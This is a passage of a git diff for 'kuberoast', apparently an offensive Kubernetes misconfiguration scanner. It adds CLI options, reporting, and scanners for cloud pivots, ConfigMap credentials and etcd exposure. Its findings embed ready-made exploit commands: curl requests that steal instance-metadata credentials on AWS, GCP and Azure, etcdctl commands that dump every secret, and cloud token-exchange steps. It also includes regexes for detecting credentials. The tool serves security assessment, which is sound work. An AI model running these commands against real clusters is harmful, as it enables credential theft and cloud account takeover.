validating = grouped.get("ValidatingWebhookConfiguration", []) + mutating = grouped.get("MutatingWebhookConfiguration", []) + if validating or mutating: + findings.extend(scan_webhooks(validating, mutating)) + + return findings + + def _max_severity(findings: List[Finding]) -> int: if not findings: return 0 return max(SEVERITY_ORDER.get(f.severity, 0) for f in findings) +BANNER = r""" + __ __ __ + / /____ ___/ /_ ___ ______ ___ ___ ____ / /_ + / '_/ // / _ / -_)_ /__/ _ \/ _ `(_-< /__/ __/ +/_/\_\\_,_/\_,_/\__//_/_/ \___/\_,_/___/ \__/ +""" + + +def _print_banner(): + if not c.supported(): + return + print(c.cyan(BANNER), file=sys.stderr) + print(c.dim(f" offensive K8s scanner Β· v{__version__}"), file=sys.stderr) + print("", file=sys.stderr) + + +EPILOG = textwrap.dedent("""\ + Examples: + + # Offensive triage of the current context (attack paths lead, lint hidden) + kuberoast --report text + + # Only what's exploitable right now + kuberoast --min-exploitability easy --report text + + # Hunt the keys to the kingdom: escapes, escalation chains, tier-0, cloud pivots + kuberoast --report json | jq '[.[] | select(.category | IN("Escape","AttackPath","CloudPivot","CVE"))]' + + # Pre-deploy: scan a directory of YAML/JSON manifests + kuberoast --manifests ./k8s/ --report text + + # CI gate: fail the build on critical, machine-readable output + kuberoast --fail-on critical --report json > scan.json + + # Add back the defense-in-depth / compliance findings + kuberoast --include-hygiene --report text + + Find docs and recent research at https://snailsploit.com/tools + """) + + def main(argv=None) -> int: - ap = argparse.ArgumentParser(description="kuberoast - offensive K8s misconfig & attack-path scanner") + ap = argparse.ArgumentParser( + prog="kuberoast", + description="Offensive Kubernetes misconfig & attack-path scanner. " + "Read-only; safe to run in prod. Built for real-world escalation paths, not checklists.", + epilog=EPILOG, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + ap.add_argument("--version", action="version", version=f"kuberoast {__version__}") + ap.add_argument("--no-color", action="store_true", help="Disable ANSI colors in text output") ap.add_argument("--report", choices=["json", "text", "html"], default="json", help="Output format") ap.add_argument("--out", help="Write report to file (required for HTML)") - ap.add_argument("--skip-nodes", action="store_true", help="Skip node/kubelet probes") - ap.add_argument("--skip-secrets", action="store_true", help="Skip secret heuristics") - ap.add_argument("--skip-attack-paths", action="store_true", help="Skip RBAC attack-path analysis") - ap.add_argument("--manifests", help="Directory of YAML/JSON manifests to scan (MVP)") + ap.add_argument("--skip-nodes", action="store_true", help="Skip all node-level probes") + ap.add_argument("--skip-kubelet-probe", action="store_true", + help="Skip active kubelet HTTP probing (still does TCP-port check)") + ap.add_argument("--skip-secrets", action="store_true", help="Skip secret heuristics + token analysis") + ap.add_argument("--skip-configmaps", action="store_true", help="Skip ConfigMap credential hunt") + ap.add_argument("--skip-attack-paths", action="store_true", help="Skip RBAC attack-path + tier-0 analysis") + ap.add_argument("--skip-webhooks", action="store_true", help="Skip admission webhook audit") + ap.add_argument("--skip-cloud", action="store_true", help="Skip cloud-pivot analysis (IMDS + workload identity)") + ap.add_argument("--skip-cve", action="store_true", help="Skip versionβ†’CVE correlation") + ap.add_argument("--include-hygiene", action="store_true", + help="Include defense-in-depth / compliance findings (off by default β€” these are hidden so attack paths lead)") + ap.add_argument("--manifests", help="Directory or file of YAML/JSON manifests to scan offline (shift-left mode)") ap.add_argument("--provider", choices=["generic", "eks", "aks", "gke"], default="generic", help="Cloud provider for context-aware remediation advice") ap.add_argument("--kubeconfig", help="Path to kubeconfig file (defaults to ~/.kube/config)") ap.add_argument("--namespace", "-n", help="Limit scan to a specific namespace") ap.add_argument("--min-severity", choices=["info", "low", "medium", "high", "critical"], default="info", help="Only include findings at or above this severity") + ap.add_argument("--min-exploitability", choices=["theoretical", "hard", "moderate", "easy", "trivial"], + default=None, help="Only include findings at or above this exploitability level") ap.add_argument("--fail-on", choices=["info", "low", "medium", "high", "critical"], - default=None, help="Exit with code 1 if any finding meets or exceeds this severity") + default=None, help="Exit code 1 if any finding meets or exceeds this severity") ap.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging") args = ap.parse_args(argv) + if args.no_color: + c.force_disable() + logging.basicConfig( level=logging.DEBUG if args.verbose else logging.WARNING, - format="%(levelname)s: %(message)s", + format=f" {c.dim('Β·')} %(message)s" if c.supported() else "%(message)s", stream=sys.stderr, ) - if args.manifests: - logger.error("Manifest mode not yet implemented. Use cluster mode.") - return 2 + if args.verbose and args.report == "text": + _print_banner() if args.report == "html" and not args.out: logger.error("--report html requires --out FILE") return 2 try: - findings = run_cluster_scan(args) + if args.manifests: + findings = run_manifest_scan(args.manifests) + else: + findings = run_cluster_scan(args) except Exception as e: logger.error("Scan failed: %s", e) + if args.verbose: + import traceback + traceback.print_exc(file=sys.stderr) return 2 + # Drop hygiene/compliance noise unless explicitly requested. This is the + # core "no kiddie stuff" default: lead with attack paths, not lint. + if not args.include_hygiene: + findings = [f for f in findings if f.id not in HYGIENE_FINDING_IDS] + # Filter by minimum severity min_sev = SEVERITY_ORDER[args.min_severity] findings = [f for f in findings if SEVERITY_ORDER.get(f.severity, 0) >= min_sev] - # Pass provider to reporters for context-aware remediation + # Filter by minimum exploitability (if set) + if args.min_exploitability: + EXPL_ORDER = {"theoretical": 0, "hard": 1, "moderate": 2, "easy": 3, "trivial": 4} + thresh = EXPL_ORDER[args.min_exploitability] + findings = [ + f for f in findings + if f.exploitability and EXPL_ORDER.get(f.exploitability, 0) >= thresh + ] + if args.report == "json": output = json_report.emit(findings) elif args.report == "html": @@ -129,7 +386,6 @@ def main(argv=None) -> int: else: print(output) - # Exit code based on --fail-on threshold if args.fail_on: threshold = SEVERITY_ORDER[args.fail_on] if _max_severity(findings) >= threshold: @@ -137,5 +393,6 @@ def main(argv=None) -> int: return 0 + if __name__ == "__main__": raise SystemExit(main()) diff --git a/kuberoast/reporting/text.py b/kuberoast/reporting/text.py index 91ec2f7..78e3d96 100644 --- a/kuberoast/reporting/text.py +++ b/kuberoast/reporting/text.py @@ -1,34 +1,87 @@ from collections import Counter from typing import List + from ..utils.findings import Finding +from ..utils import colors as c SEVERITY_ORDER = ["critical", "high", "medium", "low", "info"] +def _indent(text: str, prefix: str = " ") -> str: + return "\n".join(prefix + line for line in (text or "").splitlines()) + + +def _bar(counts, total: int, width: int = 40) -> str: + """Render a tiny severity histogram bar (TTY-safe).""" + out = [] + for sev in SEVERITY_ORDER: + n = counts.get(sev, 0) + if n == 0: + continue + slots = max(1, round(n / total * width)) if total else 0 + block = "β–ˆ" * slots + out.append(c.SEVERITY_COLORS.get(sev, lambda s: s)(block)) + return "".join(out) + + def emit(findings: List[Finding]) -> str: if not findings: - return "No findings." + return c.green("βœ“ No findings.") lines: list[str] = [] - # Summary header counts = Counter(f.severity for f in findings) - summary_parts = [f"{counts.get(s, 0)} {s}" for s in SEVERITY_ORDER if counts.get(s, 0)] - lines.append(f"=== kuberoast scan: {len(findings)} findings ({', '.join(summary_parts)}) ===") + total = len(findings) + + # Headline lines.append("") + lines.append(c.bold(f" kuberoast ") + c.dim(f"Β· {total} findings")) + lines.append("") + bar = _bar(counts, total) + if bar: + legend = " ".join( + f"{c.sev(s)} {counts.get(s, 0)}" + for s in SEVERITY_ORDER if counts.get(s, 0) + ) + lines.append(f" {bar}") + lines.append(f" {legend}") + lines.append("") + + # Exploitability summary + exp_counts = Counter(f.exploitability for f in findings if f.exploitability) + if exp_counts: + exp_legend = " ".join( + f"{c.exploit(lvl)} {exp_counts[lvl]}" + for lvl in ("trivial", "easy", "moderate", "hard", "theoretical") + if exp_counts.get(lvl) + ) + lines.append(f" {c.dim('Exploitability:')} {exp_legend}") + lines.append("") - # Group by severity, ordered critical -> info + # Findings grouped by severity for sev in SEVERITY_ORDER: group = [f for f in findings if f.severity == sev] if not group: continue - lines.append(f"--- {sev.upper()} ({len(group)}) ---") + lines.append(c.bold(f" {sev.upper()} ") + c.dim(f"({len(group)})")) + lines.append(c.dim(" " + "─" * 60)) for f in group: - lines.append(f" [{f.severity.upper()}] {f.title}") - lines.append(f" Resource: {f.resource or '-'}") - lines.append(f" Description: {f.description}") + tag = f"[{c.sev(f.severity)}]" + if f.exploitability: + tag = f"{tag} {c.exploit(f.exploitability)}" + lines.append(f" {tag} {c.bold(f.title)}") + lines.append(f" {c.dim('id:')} {f.id}") + lines.append(f" {c.dim('resource:')} {f.resource or '-'}") + lines.append(f" {c.dim('summary:')} {f.description.splitlines()[0]}") + if f.impact: + lines.append(f" {c.dim('impact:')} {f.impact}") + if f.exploit: + lines.append(f" {c.dim('poc:')}") + lines.append(_indent(f.exploit, " " + c.cyan("β”‚ "))) + if f.attack_techniques: + lines.append(f" {c.dim('att&ck:')} {', '.join(f.attack_techniques)}") if f.remediation: - lines.append(f" Remediation: {f.remediation}") + lines.append(f" {c.dim('fix:')} {f.remediation}") lines.append("") return "\n".join(lines) diff --git a/kuberoast/scanners/cloud.py b/kuberoast/scanners/cloud.py new file mode 100644 index 0000000..4b40bd4 --- /dev/null +++ b/kuberoast/scanners/cloud.py @@ -0,0 +1,297 @@ +"""Cloud account pivot analysis. + +The single most impactful real-world Kubernetes escalation is rarely +"pod β†’ cluster-admin". It's "pod β†’ cloud account". Two mechanisms: + + 1. IMDS theft. Every pod that can reach the node's Instance Metadata + Service (169.254.169.254) can request the node's instance-role + credentials. On EKS/GKE/AKS the node role is frequently + over-permissioned (ECR pull, S3, SSM, autoscaling, sometimes *). + With IMDSv1 (or IMDSv2 reachable from a hostNetwork pod) this is a + single curl. The control that stops it is an egress NetworkPolicy + (or hop-limit=1 + IMDSv2). Most clusters have neither. + + 2. Federated workload identity. IRSA (EKS), Workload Identity (GKE), + and Azure Workload Identity bind a Kubernetes ServiceAccount to a + cloud IAM role/principal. Anyone who can run as that SA β€” directly, + or via an RBAC escalation chain β€” inherits the cloud role. The SA + annotation tells you exactly which role. + +This scanner models both as concrete pivots with the curl/CLI an +operator would run. It needs: nodes (for provider + IMDS posture), +service accounts (for federation annotations), and network policies +(to determine whether egress to IMDS is actually blocked). +""" +from typing import List, Dict, Set, Optional +from ..utils.findings import Finding + +IMDS_IP = "169.254.169.254" +IMDS_CIDR = "169.254.169.254/32" +LINK_LOCAL = "169.254.0.0/16" + +# SA annotations that bind a Kubernetes SA to a cloud identity. +IRSA_ANNOTATION = "eks.amazonaws.com/role-arn" +GKE_WI_ANNOTATION = "iam.gke.io/gcp-service-account" +AZURE_WI_ANNOTATION = "azure.workload.identity/client-id" +AZURE_WI_LABEL = "azure.workload.identity/use" + + +def _detect_provider(nodes) -> Optional[str]: + """Best-effort cloud provider from node providerID / labels.""" + for n in nodes: + spec = getattr(n, "spec", None) + provider_id = getattr(spec, "provider_id", None) if spec else None + if provider_id: + pid = provider_id.lower() + if pid.startswith("aws:"): + return "aws" + if pid.startswith("gce:") or pid.startswith("gke:"): + return "gcp" + if pid.startswith("azure:"): + return "azure" + labels = getattr(getattr(n, "metadata", None), "labels", None) or {} + joined = " ".join(labels.keys()).lower() + if "eks.amazonaws.com" in joined or "node.kubernetes.io/instance-type" in joined and "aws" in joined: + return "aws" + if "cloud.google.com" in joined or "iam.gke.io" in joined: + return "gcp" + if "kubernetes.azure.com" in joined or "agentpool" in joined: + return "azure" + return None + + +# Per-provider IMDS exploitation recipe. +_IMDS_RECIPE = { + "aws": ( + "AWS EC2 IMDS β€” steal the node's instance-role credentials", + "# IMDSv1 (single request):\n" + "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\n" + "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\n" + "# IMDSv2 (token first):\n" + "TOKEN=$(curl -sX PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')\n" + "curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "Node EC2 instance-role credentials. Typically grants ECR pull, EBS, " + "autoscaling, SSM, and frequently broad S3 β€” pivot from pod into the AWS account.", + ["T1552.005"], + ), + "gcp": ( + "GCP IMDS β€” steal the node service-account access token", + "curl -s -H 'Metadata-Flavor: Google' " + "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'\n" + "# enumerate scopes:\n" + "curl -s -H 'Metadata-Flavor: Google' " + "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes'", + "Node GCE service-account OAuth token. Default node SA often has " + "broad project scope (GCS, GCR/Artifact Registry, logging) β€” pivot into the GCP project.", + ["T1552.005"], + ), + "azure": ( + "Azure IMDS β€” steal a managed-identity access token", + "curl -s -H 'Metadata: true' " + "'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'", + "Node managed-identity token for ARM (or other resources). Pivot into " + "the Azure subscription with the node identity's role assignments.", + ["T1552.005"], + ), + None: ( + "Cloud IMDS β€” steal node identity credentials", + "# AWS: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n" + "# GCP: curl -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\n" + "# Azure: curl -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'", + "Node cloud identity credentials β€” pivot from the pod into the cloud account.", + ["T1552.005"], + ), +} + + +def _egress_blocks_imds(netpols, namespace: str) -> bool: + """True if some NetworkPolicy in `namespace` plausibly restricts egress. + + We can't perfectly evaluate CIDR exclusions, so we use a conservative + heuristic: a policy that selects all pods ({} podSelector) and has an + Egress policyType is treated as 'egress is constrained here'. Absent + that, we assume IMDS is reachable (the common, dangerous default). + """ + for np in netpols: + meta = getattr(np, "metadata", None) + if not meta or getattr(meta, "namespace", None) != namespace: + continue + spec = getattr(np, "spec", None) + if not spec: + continue + policy_types = getattr(spec, "policy_types", None) or [] + has_egress_type = any(pt == "Egress" for pt in policy_types) + # Selecting all pods? + pod_selector = getattr(spec, "pod_selector", None) + ml = getattr(pod_selector, "match_labels", None) if pod_selector else None + me = getattr(pod_selector, "match_expressions", None) if pod_selector else None + selects_all = (pod_selector is not None) and not ml and not me + if has_egress_type and selects_all: + return True + return False + + +def scan_cloud_pivots(nodes, service_accounts, netpols, namespaces) -> List[Finding]: + findings: List[Finding] = [] + provider = _detect_provider(nodes or []) + + # ---- 1. IMDS reachability (per-namespace egress posture) ---- + title, exploit, impact, techniques = _IMDS_RECIPE.get(provider, _IMDS_RECIPE[None]) + ns_names = [getattr(getattr(ns, "metadata", None), "name", None) for ns in (namespaces or [])] + ns_names = [n for n in ns_names if n] + # If we couldn't list namespaces, still emit a single cluster-wide finding. + targets = ns_names or [None] + + open_namespaces = [] + for ns in targets: + if ns is not None and _egress_blocks_imds(netpols or [], ns): + continue + open_namespaces.append(ns) + + if provider is not None and open_namespaces: + # Emit one consolidated finding listing the exposed namespaces. + shown = [n for n in open_namespaces if n][:25] + ns_desc = ( + f"{len(open_namespaces)} namespace(s) have no egress NetworkPolicy constraining " + f"traffic to the metadata service" + if any(n is not None for n in open_namespaces) + else "the cluster has no egress NetworkPolicy constraining traffic to the metadata service" + ) + findings.append(Finding( + id="CLOUD-IMDS-REACHABLE", + title=f"IMDS reachable from pods β†’ {title}", + description=( + f"Cloud provider detected: {provider}. {ns_desc}. Any workload that achieves RCE " + f"can reach {IMDS_IP} and request the node's identity credentials. " + + (f"Exposed namespaces: {', '.join(shown)}." if shown else "") + ), + severity="high", + category="CloudPivot", + resource=f"provider/{provider}", + exploitability="easy", + exploit=exploit, + impact=impact, + attack_techniques=techniques, + remediation=( + "Block egress to 169.254.169.254/32 with a default-deny egress NetworkPolicy " + "(or Cilium/Calico global policy). On AWS, also enforce IMDSv2 with " + "HttpPutResponseHopLimit=1 so containers (one hop from the host) cannot reach IMDS. " + "On GKE, enable Workload Identity and Metadata Concealment. On AKS, restrict IMDS via netpol." + ), + references=[ + "https://kubernetes.io/docs/concepts/services-networking/network-policies/", + "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html", + "https://attack.mitre.org/techniques/T1552/005/", + ], + )) + + # ---- 2. Federated workload identity (SA β†’ cloud role) ---- + for sa in (service_accounts or []): + meta = getattr(sa, "metadata", None) + if not meta: + continue + name = getattr(meta, "name", "?") + ns = getattr(meta, "namespace", None) + annotations = getattr(meta, "annotations", None) or {} + labels = getattr(meta, "labels", None) or {} + + role_arn = annotations.get(IRSA_ANNOTATION) + if role_arn: + findings.append(Finding( + id="CLOUD-IRSA", + title="ServiceAccount federated to AWS IAM role (IRSA)", + description=( + f"ServiceAccount {ns}/{name} is bound to AWS IAM role {role_arn} via IRSA. " + "Any principal that can run as this SA β€” directly or through an RBAC escalation " + "chain β€” assumes this IAM role and inherits its AWS permissions." + ), + severity="medium", + category="CloudPivot", + namespace=ns, + resource=f"serviceaccount/{name}", + exploitability="easy", + exploit=( + "# From a pod running as this SA (token at the projected path):\n" + "TOKEN=$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)\n" + f"aws sts assume-role-with-web-identity --role-arn {role_arn} " + "--role-session-name pwn --web-identity-token \"$TOKEN\"\n" + "aws sts get-caller-identity" + ), + impact=f"Assumption of AWS IAM role {role_arn}. Blast radius = that role's policy.", + attack_techniques=["T1550.001", "T1078.004"], + remediation=( + "Scope the IAM role's trust policy to the exact SA " + f"(condition: system:serviceaccount:{ns}:{name}) and apply least privilege to the role. " + "Audit who can run-as / exec / create pods in this namespace." + ), + references=[ + "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html", + "https://attack.mitre.org/techniques/T1550/001/", + ], + )) + + gsa = annotations.get(GKE_WI_ANNOTATION) + if gsa: + findings.append(Finding( + id="CLOUD-GKE-WI", + title="ServiceAccount federated to GCP service account (Workload Identity)", + description=( + f"ServiceAccount {ns}/{name} maps to GCP service account {gsa} via GKE Workload Identity. " + "Running as this KSA grants that GCP SA's project permissions." + ), + severity="medium", + category="CloudPivot", + namespace=ns, + resource=f"serviceaccount/{name}", + exploitability="easy", + exploit=( + "# From a pod running as this SA, the metadata endpoint returns the GSA token:\n" + "curl -s -H 'Metadata-Flavor: Google' " + "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'\n" + "gcloud auth print-access-token # if gcloud present" + ), + impact=f"Access as GCP service account {gsa} β€” pivot into the GCP project with its IAM bindings.", + attack_techniques=["T1550.001", "T1078.004"], + remediation=( + "Apply least privilege to the GCP service account. Restrict who can run-as / exec / " + "create pods using this KSA. Prefer per-workload GSAs over shared ones." + ), + references=[ + "https://cloud.google.com/kubernetes-engine/docs/concepts/workload-identity", + "https://attack.mitre.org/techniques/T1550/001/", + ], + )) + + if annotations.get(AZURE_WI_ANNOTATION) or labels.get(AZURE_WI_LABEL) == "true": + client_id = annotations.get(AZURE_WI_ANNOTATION, "") + findings.append(Finding( + id="CLOUD-AZURE-WI", + title="ServiceAccount federated to Azure managed identity (Workload Identity)", + description=( + f"ServiceAccount {ns}/{name} is configured for Azure Workload Identity " + f"(client-id {client_id}). Running as this SA yields tokens for that Azure identity." + ), + severity="medium", + category="CloudPivot", + namespace=ns, + resource=f"serviceaccount/{name}", + exploitability="easy", + exploit=( + "# Federated token is projected into the pod; exchange it for an ARM token:\n" + "az login --service-principal -u $AZURE_CLIENT_ID " + "--tenant $AZURE_TENANT_ID --federated-token \"$(cat $AZURE_FEDERATED_TOKEN_FILE)\"\n" + "az account show" + ), + impact="Access as the federated Azure managed identity β€” pivot into the subscription via its role assignments.", + attack_techniques=["T1550.001", "T1078.004"], + remediation=( + "Apply least privilege to the managed identity's role assignments and scope the federated " + "credential subject to this exact SA. Restrict run-as / exec / pod-create in this namespace." + ), + references=[ + "https://azure.github.io/azure-workload-identity/docs/", + "https://attack.mitre.org/techniques/T1550/001/", + ], + )) + + return findings diff --git a/kuberoast/scanners/configmaps.py b/kuberoast/scanners/configmaps.py new file mode 100644 index 0000000..ec4ea7d --- /dev/null +++ b/kuberoast/scanners/configmaps.py @@ -0,0 +1,136 @@ +"""ConfigMap credential hunting. + +ConfigMaps aren't supposed to hold secrets β€” but in practice they do, all +the time. Common patterns we look for: + + * `application.yaml` / `config.json` with `password:` / `apiKey:` fields + * AWS access keys (AKIA…), GCP service account JSON, Azure storage keys + * private SSH/TLS keys committed to ConfigMaps for "convenience" + * .env-style key=value with credential-like keys + * JDBC/connection strings with embedded credentials + * Slack/Discord/GitHub tokens (xoxb-…, ghp_…, ghs_…) + +Patterns are calibrated against real attacker triage: high-signal regexes +that minimize false positives. Each match emits the literal substring that +matched so the operator can validate without a separate decoder. +""" +import re +from typing import List +from ..utils.findings import Finding + + +# (id, pattern, description, severity) +CREDENTIAL_PATTERNS = [ + ("aws-akid", re.compile(r"\bAKIA[0-9A-Z]{16}\b"), + "AWS Access Key ID", "critical"), + ("aws-secret", re.compile(r"(?i)aws.{0,20}?(secret|access)[\W_]{0,5}[a-z0-9/+=]{40}"), + "AWS-style secret access key", "high"), + ("gcp-sa-json", re.compile(r'"type"\s*:\s*"service_account"'), + "GCP service account JSON", "critical"), + ("private-key-pem", re.compile(r"-----BEGIN (?:RSA |DSA |EC |OPENSSH |)PRIVATE KEY-----"), + "PEM private key", "critical"), + ("ssh-private", re.compile(r"-----BEGIN OPENSSH PRIVATE KEY-----"), + "OpenSSH private key", "critical"), + ("slack-bot", re.compile(r"xox[baprs]-[A-Za-z0-9-]{10,}"), + "Slack token", "high"), + ("github-pat", re.compile(r"\bghp_[A-Za-z0-9]{36}\b"), + "GitHub personal access token", "high"), + ("github-server", re.compile(r"\bghs_[A-Za-z0-9]{36}\b"), + "GitHub server token", "high"), + ("github-app", re.compile(r"\bgho_[A-Za-z0-9]{36}\b"), + "GitHub OAuth token", "high"), + ("jwt", re.compile(r"\beyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b"), + "JWT (may grant API access)", "medium"), + ("jdbc-url", re.compile(r"(?i)jdbc:[a-z]+://[^\s\"']*?:[^\s\"'@]+@"), + "JDBC URL with embedded credentials", "high"), + ("generic-url", re.compile(r"(?i)https?://[^\s\"':/]+:[^\s\"'@/]{6,}@"), + "URL with embedded credentials", "high"), + ("password-yaml", re.compile(r"(?im)^\s*(?:password|passwd|pwd)\s*[:=]\s*['\"]?[^\s'\"#]{6,}"), + "Plaintext password in config", "medium"), + ("apikey", re.compile(r"(?i)(?:api[_-]?key|api[_-]?secret|access[_-]?token)\s*[:=]\s*['\"]?[A-Za-z0-9._-]{16,}"), + "API key/token in config", "medium"), + ("azure-conn", re.compile(r"DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]{40,}"), + "Azure storage connection string", "high"), +] + + +def _scan_value(key: str, value: str, name: str, ns: str) -> List[Finding]: + findings: List[Finding] = [] + if not value: + return findings + # Truncate ridiculously large values; we still scan the first 200KB. + if len(value) > 200_000: + value = value[:200_000] + for pat_id, regex, label, sev in CREDENTIAL_PATTERNS: + m = regex.search(value) + if not m: + continue + match_text = m.group(0) + # Redact long matches so we don't echo the whole secret + if len(match_text) > 60: + shown = match_text[:30] + "…(truncated)" + else: + # Show first-3, last-3 to confirm identity without leaking the full secret + shown = match_text[:6] + "…" + match_text[-4:] if len(match_text) > 12 else match_text + findings.append(Finding( + id=f"CM-LEAK-{pat_id.upper()}", + title=f"Credential in ConfigMap: {label}", + description=( + f"ConfigMap {name} key '{key}' matches a high-signal credential pattern ({label}). " + f"Match (redacted): {shown}" + ), + severity=sev, + category="ConfigMaps", + namespace=ns, + resource=f"configmap/{name}", + exploitability="trivial", + exploit=( + f"kubectl -n {ns} get configmap {name} -o jsonpath='{{.data.{key}}}'" + ), + impact="Credential exposed via any principal with `get configmap` on this namespace (often broad). Treat as compromised; rotate immediately.", + attack_techniques=["T1552.001"], + remediation=( + "Move credentials out of ConfigMaps. Use Secrets (with EncryptionConfiguration at-rest), " + "or an external secret manager (Vault, AWS Secrets Manager, etc.) injected via CSI or operator. " + "Rotate the leaked credential." + ), + references=[ + "https://kubernetes.io/docs/concepts/configuration/secret/", + "https://attack.mitre.org/techniques/T1552/001/", + ], + )) + # one match per pattern per key β€” avoid spam + break + return findings + + +def scan_configmaps(configmaps) -> List[Finding]: + findings: List[Finding] = [] + for cm in configmaps: + ns = cm.metadata.namespace + name = cm.metadata.name + # Skip noisy system configmaps that are large and benign + if name in {"kube-root-ca.crt", "extension-apiserver-authentication"}: + continue + data = getattr(cm, "data", {}) or {} + binary_data = getattr(cm, "binary_data", {}) or {} + for key, val in data.items(): + findings.extend(_scan_value(key, val, name, ns)) + for key, _ in binary_data.items(): + # binary keys are base64 β€” could be private keys. Only flag suggestive names. + if re.search(r"(?i)(key|cred|secret|token|pem)", key): + findings.append(Finding( + id="CM-LEAK-BINARY-SUSPECT", + title="ConfigMap binaryData with credential-suggestive key name", + description=f"ConfigMap {name} has binaryData key '{key}' β€” name suggests credential storage.", + severity="medium", + category="ConfigMaps", + namespace=ns, + resource=f"configmap/{name}", + exploitability="easy", + exploit=f"kubectl -n {ns} get configmap {name} -o jsonpath='{{.binaryData.{key}}}' | base64 -d", + impact="If credential, exposed to anyone with get configmap.", + remediation="Migrate to a Secret or external secret manager.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/"], + )) + return findings diff --git a/kuberoast/scanners/controlplane.py b/kuberoast/scanners/controlplane.py new file mode 100644 index 0000000..1b67e95 --- /dev/null +++ b/kuberoast/scanners/controlplane.py @@ -0,0 +1,223 @@ +"""Control-plane exposure probes β€” etcd and the legacy insecure apiserver. + +These are the crown jewels. Reachability to either, without auth, is +game over and bypasses Kubernetes RBAC entirely: + + * etcd (2379) without client-cert auth β†’ read/write the entire cluster + datastore directly: every Secret (SA tokens, TLS keys), every object. + `client-cert-auth=true` gates this at the TLS layer, so if an + unauthenticated HTTP /version succeeds, key reads are open too. + * insecure apiserver (8080) β†’ unauthenticated, full API access as an + implicit cluster-admin. Removed in k8s 1.20 but still found on old + or hand-rolled clusters. + * etcd peer (2380) reachable from the workload network is itself an + exposure (shouldn't be routable from pods). + +We TCP-connect and issue read-only HTTP GETs only β€” never write, never +dump keys. The operator gets the exact etcdctl/curl to confirm. + +Probing targets control-plane-labeled nodes when present (etcd is +co-located there on kubeadm/self-managed clusters); on managed control +planes (EKS/GKE/AKS) these ports won't be reachable and nothing fires. +""" +import logging +from concurrent.futures import ThreadPoolExecutor, as_completed +from typing import List, Tuple + +from ..utils.findings import Finding +from .kubelet import _tcp_open, _http_get + +logger = logging.getLogger("kuberoast") + +ETCD_CLIENT_PORT = 2379 +ETCD_PEER_PORT = 2380 +APISERVER_INSECURE_PORT = 8080 + +CONTROL_PLANE_LABELS = ( + "node-role.kubernetes.io/control-plane", + "node-role.kubernetes.io/master", +) + + +def _probe_etcd(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + if not _tcp_open(ip, ETCD_CLIENT_PORT): + return findings + + # etcd serves /version over the client port. A 200 without a client cert + # means client-cert-auth is off β†’ unauthenticated key access. + status, body = _http_get(f"https://{ip}:{ETCD_CLIENT_PORT}/version") + if status != 200: + status, body = _http_get(f"http://{ip}:{ETCD_CLIENT_PORT}/version") + + if status == 200 and ("etcdserver" in body or "etcdcluster" in body or "version" in body.lower()): + findings.append(Finding( + id="CP-ETCD-NOAUTH", + title="etcd reachable without client-certificate auth", + description=( + f"etcd on node {node_name} ({ip}:{ETCD_CLIENT_PORT}) answered /version to an " + "unauthenticated client. client-cert-auth is not enforced, so the entire cluster " + "datastore is readable/writable directly β€” every Secret, SA token, and object, " + "bypassing Kubernetes RBAC completely." + ), + severity="critical", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=( + f"# Dump every secret straight from etcd (no API server, no RBAC):\n" + f"etcdctl --endpoints=https://{ip}:{ETCD_CLIENT_PORT} --insecure-skip-tls-verify " + f"get / --prefix --keys-only | grep /secrets/\n" + f"etcdctl --endpoints=https://{ip}:{ETCD_CLIENT_PORT} --insecure-skip-tls-verify " + f"get /registry/secrets/kube-system/ --prefix" + ), + impact="Full cluster compromise. Direct read/write of all Secrets and objects in etcd β€” " + "instant cluster-admin equivalent, undetectable by API audit logs.", + attack_techniques=["T1552.007", "T1213"], + remediation=( + "Enable etcd mutual TLS: --client-cert-auth=true and --trusted-ca-file. Restrict " + "etcd ports to the control-plane network only; never route them to the pod/workload network. " + "Encrypt secrets at rest with an EncryptionConfiguration so an etcd read isn't plaintext." + ), + references=[ + "https://etcd.io/docs/latest/op-guide/security/", + "https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/", + ], + )) + else: + findings.append(Finding( + id="CP-ETCD-REACHABLE", + title="etcd client port reachable from scan origin", + description=( + f"etcd client port {ip}:{ETCD_CLIENT_PORT} on node {node_name} is reachable " + "(TCP connect succeeded; it did not return /version unauthenticated, so client-cert " + "auth is likely enforced). etcd should not be routable from the workload network at all." + ), + severity="high", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="moderate", + exploit=( + f"# Confirm whether client-cert auth is enforced:\n" + f"curl -sk https://{ip}:{ETCD_CLIENT_PORT}/version\n" + f"# If you can obtain etcd client certs (e.g. from a control-plane node), full datastore access follows." + ), + impact="Network path to etcd from this position. With stolen/forged etcd client certs, " + "full datastore access (all Secrets) follows.", + attack_techniques=["T1213"], + remediation="Firewall etcd ports to the control-plane network. Pods and general workloads must " + "never have a route to 2379/2380.", + references=["https://etcd.io/docs/latest/op-guide/security/"], + )) + + # Peer port exposure + if _tcp_open(ip, ETCD_PEER_PORT): + findings.append(Finding( + id="CP-ETCD-PEER", + title="etcd peer port reachable", + description=f"etcd peer port {ip}:{ETCD_PEER_PORT} on node {node_name} is reachable from the scan origin.", + severity="medium", + category="ControlPlane", + resource=f"node/{node_name}", + 